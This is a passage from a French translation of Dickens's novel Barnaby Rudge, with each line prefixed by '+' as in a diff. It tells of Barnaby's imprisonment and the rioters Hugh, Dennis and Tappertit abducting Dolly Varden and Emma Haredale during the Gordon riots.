+Seulement, au murmure qu'il entendit, il reconnaissait la présence
+d'une foule considérable, et la mauvaise disposition des
+assistants pour la troupe, qui se manifestait par des malédictions
+et des coups de sifflets. Avec quelle ardeur il prêtait l'oreille
+pour démêler la voix de Hugh! Mais non, dans toutes ces voix
+confuses, il n'y en avait pas une qu'il connût. Hugh ne serait-il
+pas aussi prisonnier par hasard? alors, adieu l'espérance!
+
+À mesure qu'ils approchaient de la prison, les huées du peuple
+devenaient plus violentes. On jetait des pierres à la troupe. De
+temps en temps on faisait contre les soldats une poussade qui leur
+faisait perdre un moment l'équilibre. L'un d'eux, tout près de
+lui, atteint d'un coup à la tempe, mit son fusil en joue; mais
+l'officier releva l'arme avec son sabre, en lui défendant, sous
+peine de mort, de tirer. Ce fut là le dernier incident que Barnabé
+put voir d'une manière un peu distincte: car immédiatement après,
+il fut poussé, ballotté, agité comme une barque sur une mer
+orageuse. Mais, c'est égal, qu'on poussât par-ci ou par-là, il
+retrouvait toujours fidèlement ses gardes à ses côtés. Deux ou
+trois fois il fut renversé avec eux; mais, même alors, il ne
+pouvait échapper un seul moment à leur vigilance. Ils étaient
+debout sur leurs pieds, et le serraient de près, avant que leur
+prisonnier, embarrassé d'ailleurs par ses menottes, eût pu
+seulement songer à jouer des jambes.
+
+Ainsi gardé, il se sentit bientôt hissé et soulevé jusqu'au haut
+d'un étage d'escalier, d'où il put un moment embrasser, d'un coup
+d'oeil, les assauts livrés par la foule aux soldats, qu'on voyait
+çà et là faisant des efforts désespérés pour rejoindre leurs
+camarades. Puis, le moment d'après, tout devint sombre et
+ténébreux. Il se trouva dans le corridor de la prison, au centre
+d'un groupe d'hommes inconnus.
+
+Il y avait là un serrurier qui l'attendait pour river ses fers.
+Trébuchant sous le poids inaccoutumé des chaînes dont il était
+chargé, il fut conduit à un cachot solide, en pierre de taille, où
+on le laissa en toute sécurité, après avoir fermé sur lui toutes
+les serrures, les barres et les verrous de la porte. Il avait un
+compagnon qu'on lui avait jeté là avec lui, sans qu'il s'en
+aperçût d'abord; c'était Grip, qui, la tête basse et les plumes
+noires toutes chiffonnées et tout ébouriffées, semblait comprendre
+et partager la triste fortune de son maître.
+
+
+
+
+CHAPITRE XVII.
+
+
+Il nous faut maintenant retourner à Hugh, que nous avons laissé
+dispersant les émeutiers de la Garenne, avec un mot d'ordre pour
+se trouver à un autre rendez-vous, et rentrant furtivement dans
+l'ombre dont il venait de sortir un moment pour ne plus reparaître
+de la nuit.
+
+Il s'arrêta dans le taillis, se dérobant à la vue de ses
+compagnons furieux qui attendaient encore dans l'incertitude, ne
+sachant s'ils devaient lui obéir et se retirer, ou s'ils ne
+feraient pas mieux de rester là quelque temps encore, dans
+l'espérance de revenir avec lui. Il en vit même quelques-uns qui
+n'étaient point du tout disposés à s'en retourner sans lui, et qui
+se dirigeaient du côté où il se tenait caché, pour aller à sa
+rencontre et le presser encore de leur tenir compagnie au retour.
+Mais ces traînards, s'entendant à leur tour presser par leurs amis
+de partir, et ne se sentant pas bien braves pour s'aventurer dans
+l'obscurité du bois, où ils avaient peur d'une surprise, et où ils
+pouvaient tomber entre les mains des voisins ou des serviteurs de
+la famille qui peut-être les épiaient derrière les arbres,
+renoncèrent bientôt à leur premier projet, et, formant une petite
+troupe de ceux de leurs compagnons qu'ils trouvèrent disposés à se
+mettre en route à l'instant, ils décampèrent.
+
+Après s'être assuré que la grande majorité des perturbateurs
+avaient pris ce parti, et que le jardin allait bientôt être évacué
+tout à fait, il plongea dans le plus épais du fourré, cassant les
+branches sur son passage, et marchant tout droit vers une lumière
+lointaine qui lui servait à se guider, ainsi que les dernières et
+sombres lueurs de l'incendie par derrière.
+
+À mesure qu'il approchait du fanal vacillant vers lequel il
+dirigeait sa course, il commença à voir apparaître la flamme
+rougeâtre de quelques torches, et à entendre des hommes dont la
+voix contenue rompait le silence de la nuit, troublé seulement à
+présent par quelques cris rares et lointains. Il finit par sortir
+du bois, et, sautant un fossé, il se trouva dans un sentier obscur
+où un groupe de bandits d'assez mauvaise mine, qu'il avait laissés
+là un quart d'heure auparavant, attendaient son retour avec
+impatience.
+
+Ils étaient réunis autour d'une vieille chaise de poste, menée par
+l'un d'eux assis en postillon sur le porteur. Les stores étaient
+baissés, et les deux fenêtres gardées par M, Tappertit et Dennis.
+C'est le premier qui commandait la troupe, et qui, en cette
+qualité, adressa la parole à Hugh quand il le vit revenir. Pendant
+le dialogue, les autres, qui s'étaient couchés par terre, en
+attendant, autour de la voiture, se levèrent et se rangèrent près
+de lui.
+
+«Eh bien! dit Simon à voix basse, tout va-t-il bien?
+
+-- Pas mal, répliqua Hugh sur le même ton. Les voilà qui s'en
+vont; ils étaient déjà en train de se disperser quand je les ai
+quittés pour venir.
+
+-- Et la route est-elle sûre?
+
+-- Oh! pour les camarades, je vous en réponds: ils ne
+rencontreront pas beaucoup de gens disposés à venir leur chanter
+pouille, après la besogne qu'on sait qu'ils viennent de faire ce
+soir... Quelqu'un a-t-il quelque chose à me donner à boire ici?»
+
+Chacun d'eux avait fait sa provision dans les caves, et on lui
+offrit aussitôt une demi-douzaine de flacons et de bouteilles. Il
+choisit la plus grande, la mit à sa bouche, et fit dégringoler le
+vin gargouillant dans sa gorge. Quand il l'eut vidée, il la jeta
+par terre, et tendit la main pour en prendre une autre qu'il vida
+d'un trait comme la première. On lui en passa une troisième qu'il
+ne vida qu'à moitié, réservant le reste pour le coup de l'étrier.
+
+«Ah çà! demanda-t-il, vous autres, n'avez-vous pas quelque chose à
+me donner à manger? J'ai une faim de loup. Qui est ce qui a rendu
+visite au garde-manger?... Allons!
+
+-- Moi, camarade, dit Dennis, ôtant son chapeau pour chercher
+quelque chose, si ça peut vous aller; j'ai là dedans un bout de
+pâté de venaison.
+
+-- Bon, cria Hugh en s'asseyant sur le chemin. Aboule, et
+dépêchons; qu'on m'éclaire et qu'on m'entoure. Je veux faire mon
+gala en grande cérémonie, mes gars, ha! ha! ha!»
+
+Ils n'avaient pas besoin d'être excités davantage à partager ses
+dispositions tapageuses; ils avaient tous bu plus que de raison,
+et il n'y en avait pas un qui eût la tête plus saine que lui dans
+tous ceux qui vinrent se grouper autour de lui. Il y en avait deux
+qui lui tenaient une torche de chaque côté pour illuminer son
+grand couvert. M. Dennis qui, pendant ce temps-là, était parvenu à
+aveindre dans le fond de son chapeau un gros morceau de pâté, si
+serré dans la forme que ce n'était pas une petite affaire de l'en
+extraire, le servit devant Hugh. Celui-ci emprunta à un honorable
+membre de la société un eustache ébréché, et se mit vigoureusement
+à l'ouvrage.
+
+«Dites donc, frère, lui cria Dennis après quelques moments, si
+vous m'en croyez, vous ferez bien d'avaler tous les jours un petit
+incendie comme cela une heure avant votre dîner, pour vous ouvrir
+l'appétit: c'est étonnant comme ça vous réussit.»
+
+Hugh le regarda, ainsi que les figures noircies dont il était
+entouré, et, arrêtant un moment l'exercice de ses mâchoires pour
+faire voltiger son couteau au-dessus de sa tête, il répondit par
+un grand éclat de rire.
+
+«Tenez-vous tranquille, hein, si vous voulez bien, dit Simon
+Tappertit.
+
+-- Ah! voilà-t-il pas, noble officier, qu'il ne sera plus permis
+de se régaler à présent! répliqua Hugh, en écartant avec son
+couteau les gens qui l'empêchaient de voir le capitaine... Il ne
+sera donc plus permis de se régaler un brin, après avoir travaillé
+comme j'ai fait? En voilà un capitaine mal commode! Diable de
+capitaine! Ce n'est pas un capitaine, c'est un tyran. Hal ha! ha!
+
+-- Je voudrais qu'il y eût là un camarade qui tînt constamment une
+bouteille à la bouche du lieutenant pour l'empêcher de crier; du
+moins nous n'aurions pas à craindre de voir bientôt les militaires
+sur notre dos.
+
+-- Eh bien, après! quand nous les aurions sur notre dos? répondit
+Hugh. Qu'est-ce que ça nous fait? Croyez-vous qu'on en ait peur?
+Qu'ils y viennent, je ne leur dis que ça, qu'ils y viennent. Le
+plus tôt sera le mieux. Mettez-moi seulement Barnabé à côté de
+moi, et à nous deux nous vous les arrangerons, les militaires,
+sans vous donner la peine de vous en occuper. À la santé de
+Barnabé!»
+
+Cependant, comme la majorité des camarades là présents en avaient
+assez pour cette nuit, et ne demandaient pas d'autre affaire, dans
+l'état de fatigue et d'épuisement où ils étaient déjà, ils se
+rangèrent du parti de M. Tappertit, et pressèrent l'autre de se
+dépêcher de souper, disant qu'on n'avait déjà que trop différé le
+départ. Hugh, de son côté, au milieu même de son ivresse
+frénétique, ne pouvait s'empêcher de reconnaître qu'ils courraient
+de gros risques à rester là sur le théâtre des violences récentes;
+il finit donc son repas sans autre réplique, se leva, s'approcha
+vers M. Tappertit, et lui donnant une lape sur le dos:
+
+«Là, maintenant, cria-t-il, on est prêt. Il y a de jolis oiseaux
+dans cette cage, hein? des petits oiseaux bien délicats? de
+tendres et amoureuses colombes? C'est moi qui les ai mises en
+cage. C'est moi; voyons que j'y regarde encore.»
+
+En disant cela, il jeta de côté le petit homme, monta sur le
+marchepied qui était à moitié baissé, leva de force le store, et
+mit l'oeil à la fenêtre de la chaise, comme l'ogre qui regarde
+dans son garde-manger.
+
+«Ha! ha! ha! c'est donc vous qui m'avez égratigné, pincé, battu,
+ma jolie bourgeoise? se mit-il à crier en saisissant une petite
+main qui cherchait en vain à se dégager de ses griffes. Voyez-vous
+ça? avec des yeux si pétillants! des lèvres si vermeilles! une
+taille si appétissante! Eh bien! je ne vous en aime que mieux,
+madame. Vrai, ma parole. Je veux bien que vous me poignardiez, si
+ça vous fait plaisir, pourvu que ce soit vous qui me guérissiez
+après. Ah! que j'aime à vous voir cette mine fière et dédaigneuse!
+Vous n'avez jamais été si jolie; et, pourtant qui est-ce qui peut
+se vanter d'avoir jamais été aussi jolie que vous, ma belle
+petite?
+
+-- Allons, dit M. Tappertit, qui avait entendu ces complimenta
+avec une impatience manifeste, en voilà assez: partons.»
+
+La petite main, du fond de la voiture, vint en aide à ce
+commandement, en repoussant de toutes ses forces la grosse vilaine
+tête de Hugh, et en relevant le store, au milieu du rire bruyant
+du lieutenant éconduit, qui jurait ses grands dieux qu'il lui
+fallait encore un petit coup d'oeil dans la voiture, parce que le
+dernier l'avait mis en appétit. Cependant, en voyant l'impatience
+longtemps contenue de la bande éclater enfin en murmures ouverts,
+il renonça à son dessein et s'assit sur l'avant-train, se
+contentant de taper de temps en temps au carreau de devant et
+d'essayer d'y jeter furtivement un regard. M. Tappertit, monté sur
+le marchepied, et suspendu comme un beau page à la portière,
+donnait de là ses ordres au postillon, dans l'attitude du
+commandement, et d'une voix militaire; les autres venaient par
+derrière ou voltigeaient sur les flancs, comme ils pouvaient. Il y
+en avait qui, à l'exemple de Hugh, essayaient d'apercevoir à la
+dérobée le visage dont il avait tant vanté la beauté; mais ils
+voyaient bientôt leur indiscrétion réprimée par un coup de gourdin
+de M. Tappertit. C'est ainsi qu'ils poursuivirent leur voyage par
+des routes détournées et des circuits nombreux, gardant en résumé
+un ordre passable et un silence assez discret, excepté quand ils
+faisaient une halte pour reprendre baleine, ou qu'ils se
+disputaient sur le meilleur chemin à prendre pour gagner Londres.
+
+Pendant ce temps-là, que faisait Dolly?... la belle, la charmante,
+la séduisante petite Dolly! Les cheveux en désordre, sa robe
+déchirée, ses cils noirs tout humectés de larmes, son sein
+palpitant, le visage tantôt pâle de crainte, tantôt cramoisi de
+colère et d'indignation, mais après tout, dans cet état
+d'excitation, mille fois plus jolie que jamais, elle faisait tout
+ce qu'elle pouvait, mais vainement, pour remettre Mlle Haredale,
+et lui donner un peu de cette consolation dont elle aurait eu tant
+de besoin elle-même. Les soldats allaient venir, bien sûr. Elles
+allaient retrouver leur liberté. Il était impossible qu'on les
+conduisît à travers les rues de Londres sans que, en dépit des
+menaces de leurs ravisseurs, elles appelassent par leurs cris les
+passants à leur secours. Si elles choisissaient pour cela le
+moment où elles seraient dans les endroits les plus fréquentés,
+comment vouliez-vous qu'on ne vînt point les délivrer? Voilà ce
+que disait la pauvre Dolly, ce qu'elle essayait même de se
+persuader; mais tous ses beaux raisonnements finissaient toujours
+par un déluge de larmes: elle pleurait, elle se lamentait, elle se
+tordait les mains en se demandant ce qu'on faisait, ce qu'on
+pensait, ce qu'on souffrait là-bas, à la Clef d'or; et elle
+sanglotait à fendre le coeur.
+
+Miss Haredale, dont les sentiments étaient toujours d'une nature
+moins turbulente que ceux de Dolly, mais plus profonds, éprouvait
+de cruelles alarmes; elle était à peine remise d'un évanouissement
+qui lui avait encore laissé la figure toute pâle; sa main, dans
+celle de sa compagne, était froide comme la glace. Néanmoins, elle
+lui rappelait qu'après Dieu tout dépendait de leur prudence; que
+si elles se tenaient tranquilles, pour endormir la vigilance des
+misérables qui les tenaient entre leurs mains, elles auraient bien
+plus de chances de pouvoir obtenir du secours quand elles seraient
+arrivées en ville; qu'à moins de supposer que la société tout
+entière fût bouleversée, on devait déjà s'être mis à leur
+recherche avec ardeur, et qu'elle était bien sûre que son oncle ne
+se donnerait pas de repos qu'il ne fût parvenu à les découvrir et
+à les délivrer. Mais en prononçant ces dernières paroles
+d'espérance, à l'idée malheureusement trop vraisemblable, après
+tout ce qu'elle venait de voir et de souffrir elle-même, qu'il
+avait pu succomber dans un massacre général des catholiques, elle
+redevint muette de frayeur; et, abîmée dans le souvenir des
+horreurs dont elle venait d'être témoin, dans la crainte de celles
+qu'elle pouvait avoir à subir encore, elle se sentait incapable de
+rien penser ni de rien dire; elle n'osait même laisser un libre
+cours à sa douleur: elle était roide, froide et blanche comme un
+marbre.
+
+Ah! que de fois, pendant ce long voyage, Dolly songea à son ancien
+amoureux, au pauvre Joe, si bon pour elle, et si peu digne de ses
+dédains! Que de fois elle se rappela le soir où elle s'était
+précipitée dans ses bras pour échapper à l'homme qui, en ce moment
+même, plongeait son regard insolent dans les ténèbres où elle
+était assise dans son affliction, lançant d'odieuses oeillades
+d'une admiration dégoûtante! Et quand elle pensait à Joe, qu'elle
+se représentait ce brave garçon, tout prêt, s'il était là, à venir
+hardiment se jeter au milieu de ces brigands, sans calculer leur
+nombre... son petit poing se fermait de colère, ses petits pieds
+trépignaient d'impatience, et l'orgueil qu'elle avait un moment
+ressenti d'avoir conquis un si grand coeur s'éteignait dans un
+ruisseau de larmes, et elle poussait des soupirs plus amers que
+jamais.
+
+Cependant la nuit avançait, et on leur faisait prendre des chemins
+qui leur étaient tout à fait inconnus, dont la vue redoublait leur
+inquiétude, car elles cherchaient vainement à reconnaître sur la
+route les objets qui pouvaient y avoir frappé quelquefois leurs
+regards en passant. Et cette inquiétude n'était que trop fondée.
+Comment deux belles filles comme elles pouvaient-elles se voir
+emportées, Dieu sait où, par une bande de brigands qui les
+poursuivaient de leurs yeux effrontés, sans craindre tout ce qu'il
+y avait de pis? Enfin, quand elles entrèrent dans Londres, par un
+faubourg qu'elles ne connaissaient pas le moins du monde, il était
+plus de minuit, et les rues étaient sombres et vides. Encore si ce
+n'eût été que cela! mais la chaise s'étant arrêtée dans un endroit
+isolé, Hugh vint tout à coup ouvrir la portière, sauta dans la
+voiture, et s'assit entre elles deux.
+
+Elles eurent beau crier au secours: il passa un bras autour du col
+de chacune d'elles, en jurant par tous les diables de les étouffer
+de ses baisers si elles n'étaient pas silencieuses comme la tombe.
+
+«Je suis venu ici pour vous faire tenir tranquilles, dit-il, et
+c'est comme ça que je m'y prendrai. Ainsi, ne vous tenez pas
+tranquilles, mes belles demoiselles, si cela vous fait plaisir;
+criez tant que vous voudrez, j'en serai bien aise, je ne puis qu'y
+gagner.»
+
+Elles avancèrent alors au grand trot, et probablement avec un
+cortège moins nombreux que tout à l'heure, quoique l'obscurité de
+la nuit, maintenant qu'ils avaient éteint leurs torches, ne leur
+permît pas de s'en assurer par leurs yeux. Elles se reculaient
+pour ne point le toucher, chacune dans son coin; mais Dolly avait
+beau se reculer, elle n'en sentait pas moins sa taille enlacée
+dans le bras hideux qui la serrait. Elle ne criait plus, elle ne
+parlait plus; la terreur et le dégoût lui en ôtaient la force:
+seulement, elle lui repoussait le bras avec une telle énergie
+qu'elle espérait mourir dans ces efforts suprêmes pour se dégager
+de ses étreintes, et se glissait au fond de la voiture en
+détournant la tête, et continuant à se débattre avec une vigueur
+qui l'étonnait elle-même autant que son persécuteur. La voiture
+s'arrêta de nouveau.
+
+«Emportez celle-là, dit Hugh à l'homme qui vint ouvrir la
+portière, en prenant la main de miss Haredale et la sentant
+retomber inanimée; elle est pâmée.
+
+-- Tant mieux, grogna Dennis, car c'était cet aimable gentleman:
+elle en sera plus tranquille. J'aime ça, quand elles se pâment, à
+moins qu'elles ne soient calmes et douces comme des colombes.
+
+-- Pouvez-vous la prendre à vous tout seul? demanda Hugh.
+
+-- Je ne peux pas le savoir avant d'essayer. Mais je dois pouvoir
+en venir à bout. J'en ai déjà enlevé bien d'autres dans ma vie,
+dit le bourreau. Allons! hop. Elle n'est pas légère, camarade. Ces
+jolies filles sont toutes comme ça. Allons! encore un petit coup
+de main! là! je la tiens.»
+
+Pendant ce temps-là il avait pris à bras la jeune demoiselle, et
+s'en allait chancelant sous son fardeau.
+
+«À votre tour, ma jolie poulette, dit Hugh, attirant à lui Dolly.
+Vous vous rappelez ce que je vous ai dit: «Chaque cri, chaque
+baiser.» À présent, criez bien fort, si vous m'aimez, ma mignonne.
+Un petit cri, seulement, mademoiselle. Ma belle demoiselle, un
+petit cri seulement pour l'amour de moi.»
+
+Repoussant sa face de toutes ses forces, et se renversant la tête
+en arrière, Dolly se laissa transporter hors de la chaise, à la
+suite de miss Haredale, dans une méchante cabane, où son
+ravisseur, qui la serrait contre sa poitrine, la déposa doucement
+par terre.
+
+Pauvre Dolly! elle avait beau faire, elle n'en était que plus
+jolie et plus attrayante. Quand ses yeux pétillaient de colère et
+qu'elle entrouvrait ses lèvres de pourpre pour laisser casser le
+souffle rapide de sa fureur, comment vouliez-vous qu'on résistât à
+cela? Quand elle pleurait, et sanglotait à se fendre le coeur, et
+qu'elle se lamentait de ses peines de la plus douce voix qui eût
+jamais charmé une oreille, comment vouliez-vous qu'on restât
+insensible à cette charmante mauvaise humeur qu'elle montrait de
+temps en temps d'un air revêche, dans la franche et sincère
+expansion de sa douceur? lorsque, s'oubliant elle-même et ses
+propres peines, elle s'agenouillait devant son amie pour se
+pencher sur elle, pour approcher ses joues de la sienne, pour lui
+passer ses bras autour du col, quels sont donc les yeux mortels
+qui auraient pu se détacher de cette taille délicate et souple, de
+cette chevelure abondante, de ce négligé de toilette, de cet
+abandon complet et naturel, qui faisaient mieux valoir encore ses
+charmes et sa beauté? Qui donc aurait pu la regarder prodiguant et
+sa maîtresse ses tendresses et ses caresses, sans souhaiter d'être
+à la place d'Emma Haredale, ou au moins à la place de l'une ou
+l'autre, de celle qui tenait son amie dans ses bras, ou de celle
+qui était dans les bras de son amie? Ce n'était toujours pas Hugh;
+ce n'était toujours pas Dennis.
+
+«Tenez! mes jeunes demoiselles, dit M. Dennis, je vais vous dire.
+Je ne suis pas un homme à beaucoup songer aux dames pour moi-même,
+et je ne suis pas ici pour mon compte: je n'y suis que pour donner
+un coup de main à des amis. Mais s'il faut que j'en voie beaucoup
+comme ça, je sens que je vais changer de rôle, et que je ne
+jouerai pas longtemps un personnage secondaire, je vous le dis
+franchement.
+
+-- Pourquoi nous avez-vous amenées ici? dit Emma. Est-ce pour nous
+tuer?
+
+-- Vous tuer! cria Dennis en s'asseyant sur un tabouret, et la
+regardant de l'air le plus aimable. Mais, mon chéri, qui donc
+voudrait couper le col à de jolis petits poulets comme vous?
+Demandez-moi plutôt si on vous a amenées ici pour y trouver des
+maris, à la bonne heure!»
+
+Et ici il échangea un rire affreux avec Hugh, qui faisait exprès
+de détourner modestement ses yeux du visage de Dolly.
+
+«Que non, que non, mes petits amours, qu'on ne vous tuera pas. Il
+n'est pas question de ça: c'est tout le contraire.
+
+-- Vous qui êtes plus âgé que votre camarade, monsieur, dit Emma
+toute tremblante, est-ce que vous n'aurez pas pitié de nous? Vous
+voyez pourtant que nous ne sommes que des femmes.
+
+-- Je le vois bien, ma chère, répliqua-t-il: il faudrait donc que
+je fusse aveugle de ne pas le voir, avec deux pareils échantillons
+de votre sexe sous les yeux! Ha! ha! certainement, je le vois
+bien, et je ne suis pas seul à le voir, mademoiselle.»
+
+Il secoua la tête d'un air de mauvais sujet et fit des yeux en
+coulisse à Hugh, comme s'il avait dit la plus belle chose du
+monde, et qu'il s'applaudît de se voir si bien en verve.
+
+«Non, non, on ne vous tuera pas le moins du monde. Eh bien!
+pourtant, continua-t-il en retroussant son chapeau pour se gratter
+plus commodément la tête, et en regardant gravement son compagnon,
+n'est-il pas bien remarquable, à l'honneur de l'égalité des sexes
+devant la loi, qu'elle n'admet pas de distinction là-dessus dans
+la pénalité entre un homme et une femme? J'ai souvent entendu le
+juge dire à un voleur de grand chemin, ou à quelque malfaiteur qui
+avait pénétré dans les maisons, et qui avait garrotté des femmes
+pieds et poings liés pour s'assurer d'elles (pardon, excuse,
+mesdemoiselles, de cet épisode): «Malheureux! vous n'aviez donc
+pas seulement de respect pour leur sexe?» Or, je vous dirai que ce
+juge-là ne savait pas son métier, mon camarade, et que, si j'avais
+été à la place des accusés, je n'aurais pas été embarrassé pour
+lui répondre: «Qu'est-ce que vous me chantez là, milord? J'ai
+montré pour le sexe le même respect que la loi, pouvais-je faire
+mieux?» Vous n'avez qu'à faire dans les journaux le relevé du
+nombre de femmes qui ont été exécutées, dans cette ville-ci
+seulement, depuis dix ans, dit M. Dennis d'un ton pensif, et vous
+serez étonné du total... mais très étonné. C'est une belle chose
+que l'égalité, et bien honorable pour la dignité de la loi.
+Malheureusement, il n'est pas sûr du tout que cela dure. Les voilà
+qui commencent déjà à ménager les papistes: je m'attends, du train
+dont on y va, à voir un de ces jours réformer même cette égalité.
+Ma foi! oui, je m'y attends.»
+
+Ce sujet de conversation sentait trop son bourreau pour intéresser
+un profane comme Hugh, qui ne devait pas avoir la même partialité
+pour la profession; mais, d'ailleurs, Dennis n'eut pas le temps de
+continuer ses doléances: car, à l'instant même, M. Tappertit entra
+précipitamment, et sa vue arracha un cri de joie à Dolly, qui se
+jeta de bonne foi dans ses bras.
+
+«Je le savais bien, j'en étais sûre, cria-t-elle. Mon cher père
+est à la porte. Merci, ô merci, grand Dieu! Qu'il vous bénisse,
+Simon! Que le ciel vous bénisse d'être venu ici!»
+
+Simon Tappertit, qui s'était d'abord imaginé dans son for
+intérieur que la fille du serrurier, ne pouvant plus réprimer sa
+passion pour lui, allait y donner un libre cours, et déclarer
+qu'elle était à lui pour toujours, parut déconcerté en entendant
+cette méprise; d'autant plus que Hugh et Dennis l'accueillirent
+par un grand éclat de rire qui la fit reculer, et porter sur son
+prétendu libérateur un regard fixe et inquiet.
+
+«Miss Haredale, dit Simon après un silence plein d'embarras,
+j'espère que vous êtes aussi bien ici que le permettent les
+circonstances. Dolly Varden, ma chérie, mon tendre et délicieux
+amour, j'espère que vous n'êtes pas mal non plus.»
+
+Pauvre petite Dolly! elle vit tout de suite ce qu'il en était, se
+cacha la face dans ses mains, et se mit à pousser encore des
+sanglots plus amers que jamais.
+
+«Vous voyez en moi, miss Varden, dit Simon, la main sur le coeur,
+vous voyez en moi non pas un apprenti, un ouvrier, un esclave, la
+victime du joug tyrannique de votre père; mais le chef d'un grand
+peuple, le capitaine d'une noble troupe dont ces messieurs sont,
+comme qui dirait, les caporaux et les sergents. Vous voyez en moi,
+non pas un individu comme tout le monde, mais un homme public; non
+pas un rapiéceur de serrures, mais un médecin des plaies vives de
+sa malheureuse patrie. Dolly Varden, charmante Dolly Varden,
+combien y a-t-il d'années que j'attends cette rencontre
+d'aujourd'hui! Combien y a-t-il d'années que j'aspire à vous
+relever et vous ennoblir par mon choix! Mais me voici payé de mes
+peines. Voyez en moi désormais... votre mari. Oui, belle Dolly,
+charmante enchanteresse, Simon Tappertit est à vous pour
+toujours.»
+
+En disant ces mots il s'avança vers elle. Dolly recula jusqu'au
+pied de la muraille; et là, ne pouvant aller plus loin, elle tomba
+par terre. Persuadé que ce n'était qu'une frime pudique, Simon
+essaya de la relever. Mais alors Dolly, poussée au désespoir, lui
+saisit la crinière à deux mains, et, s'écriant tout en larmes que
+ce n'était qu'un misérable petit polisson, et qu'il n'avait jamais
+été que ça, le secoua, le tira, le battit si bien, que c'était
+plaisir de la voir, et d'entendre le malheureux appeler au
+secours. Jamais elle n'avait paru si belle à Hugh que dans ce
+moment.
+
+«Il faut qu'elle ait les nerfs bien agacés ce soir, dit Simon en
+rajustant ses plumes toutes fripées; elle ne sait pas ce qu'elle
+fait. Il faut la laisser seule jusqu'à demain matin, cela va la
+remettre un peu. Emportez-la dans la maison voisine.»
+
+À l'instant, Hugh la prit dans ses bras. Mais, soit que
+M. Tappertit se sentit réellement attendrir le coeur à la vue de
+sa douleur, soit qu'il ne trouvât pas bienséant qu'on vit sa
+future se débattre dans les bras d'un autre homme, il ordonna à
+Hugh, réflexion faite, de la déposer là, et la regarda de mauvais
+oeil, pendant qu'elle allait bien vite se réfugier auprès de miss
+Haredale, s'attachant après son amie, et cachant dans les plis de
+sa robe la rougeur de son front.
+
+«Elles vont rester ensemble ici jusqu'à demain matin, dit Simon,
+qui avait eu le temps de reprendre toute sa dignité... jusqu'à
+demain matin. Partez.
+
+-- Bah! cria Hugh, comment, capitaine? Partez! Ha! ha! ha!
+
+-- Qu'est-ce qui vous fait rire? demanda Simon d'un air sévère.
+
+-- Rien, capitaine, rien,» répondit Hugh; et en même temps il
+tapait de sa main l'épaule du petit homme et recommençait à rire
+dix fois plus fort sans en expliquer la raison.
+
+M. Tappertit le toisa des pieds à la tête avec une expression de
+dédain suprême (ce qui fit rire l'autre de plus belle), et se
+tournant vers les belles captives:
+
+«Mesdames, leur dit-il, vous n'oublierez pas que cette maison est
+surveillée de tous côtés, et que le moindre bruit qu'on y
+entendrait serait suivi à l'instant des plus funestes
+conséquences. Demain, nous vous ferons connaître, à l'une et à
+l'autre, nos intentions. En attendant, tâchez de ne pas vous
+montrer à la fenêtre, et de ne pas appeler à votre aide les
+passants: car, au premier mot, le public verra que vous venez
+d'une maison catholique, et tous les efforts de nos gens pour
+défendre votre vie seraient impuissants à vous sauver.»
+
+Après cet avertissement, qui ne manquait pas de vraisemblance, il
+s'en retourna vers la porte, suivi de Hugh et de Dennis. Ils
+s'arrêtèrent un moment, avant de sortir, à les contempler enlacées
+dans les bras l'une de l'autre; puis ils quittèrent la cabane,
+verrouillèrent la porte en dehors et y mirent bonne garde, ainsi
+qu'autour de la maison.
+
+«Savez-vous, grommela Dennis en s'en allant avec ses compagnons,
+que nous avons là deux jolis brins de filles? Celle de maître
+Gashford vaut bien l'autre, qu'en dites-vous?
+
+-- Chut! dit Hugh avec précipitation; n'appelez pas les gens par
+leurs noms: c'est une mauvaise habitude.
+
+-- Eh bien! je ne voudrais pas être à sa place, au monsieur dont
+vous ne voulez pas qu'on dise le nom, quand il viendra lui faire
+sa déclaration: voilà tout, dit Dennis. C'est une de ces brunes à
+l'oeil noir, orgueilleuses et fières, auxquelles je ne me fierais
+pas, si je leur voyais un couteau sous la main. J'en ai déjà vu
+plus d'une. Mais il y en a une surtout que je me rappelle qui a
+été exécutée, il y a bien des années (il y avait aussi un
+gentleman dans l'affaire): elle me dit d'une lèvre tremblante,
+mais d'un coeur aussi ferme que celui de Judith devant Holopherne:
+«Dennis, je suis près de ma fin, mais je voudrais avoir au bout de
+mes doigts une lame et le voir, lui, devant moi, pour le frapper
+roide mort.» Ah! mais, c'est qu'elle l'aurait fait comme elle le
+disait.
+
+-- Qui donc, roide mort? demanda Hugh.
+
+-- Comment voulez-vous que je vous le dise, camarade? répondit
+Dennis. Elle ne l'a pas nommé, ma foi!»
+
+Hugh parut un moment tenté de demander encore quelques
+renseignements sur ce souvenir incohérent; mais Simon Tappertit,
+qui, pendant ce temps-là, était plongé dans ses méditations
+profondes, donna à ses pensées une nouvelle direction.
+
+«Hugh, lui dit-il, vous avez bien travaillé aujourd'hui. Vous
+serez récompensé. Et vous aussi, Dennis... vous n'avez pas quelque
+jeune beauté à faire enlever pour votre compte?
+
+-- N-o-n, répondit le gentleman passant sa main sur sa barbe
+grise, longue au moins de deux pouces, je ne vois pas que j'en aie
+une qui me tienne au coeur.
+
+-- Très bien! dit Simon; alors nous trouverons quelque autre moyen
+de vous indemniser. Quant à vous, mon brave garçon (en se tournant
+vers Hugh), vous aurez Miggs, vous savez, celle que je vous ai
+promise, et cela avant qu'il soit trois jours. Comptez là-dessus:
+je vous en donne ma parole; c'est comme si vous la teniez.»
+
+Hugh le remercia de tout son coeur, et de tout son coeur aussi se
+mit à rire, si bien et si fort qu'il s'en tenait les côtes, et
+qu'il était obligé de s'appuyer sur l'épaule de son petit
+capitaine, pour ne pas se rouler par terre, car il n'aurait pas pu
+s'en empêcher sans cela.
+
+
+
+
+CHAPITRE XVIII.
+
+
+Les trois honorables compagnons se dirigèrent du côté de _la
+Botte_ avec l'intention de passer la nuit dans ce lieu de rendez-
+vous, et de chercher, à l'abri de leur antique repaire, le repos
+dont ils avaient tant besoin: car, maintenant que l'oeuvre de
+destruction qu'ils avaient méditée se trouvait accomplie, et
+qu'ils avaient mis, pour la nuit, leurs prisonnières en lieu de
+sûreté, ils commençaient à se sentir épuisés, et à éprouver les
+effets énervants du transport de folie, qui les avait entraînés à
+de si déplorables résultats.
+
+Malgré la fatigue et la lassitude à laquelle il succombait alors,
+comme ses deux camarades, et, on peut dire, comme tous ceux qui
+avaient pris une part active à l'incendie de la Garenne, Hugh
+retrouvait encore toute sa verve de tapageuse gaieté, chaque fois
+qu'il regardait Simon, et, à la grande colère du petit capitaine,
+il la manifestait par de tels éclats de rire qu'il s'exposait à
+attirer sur eux l'attention de la police, et à se mettre sur les
+bras quelque affaire dans laquelle leur état de faiblesse et
+d'épuisement ne leur aurait pas fait jouer un rôle brillant.
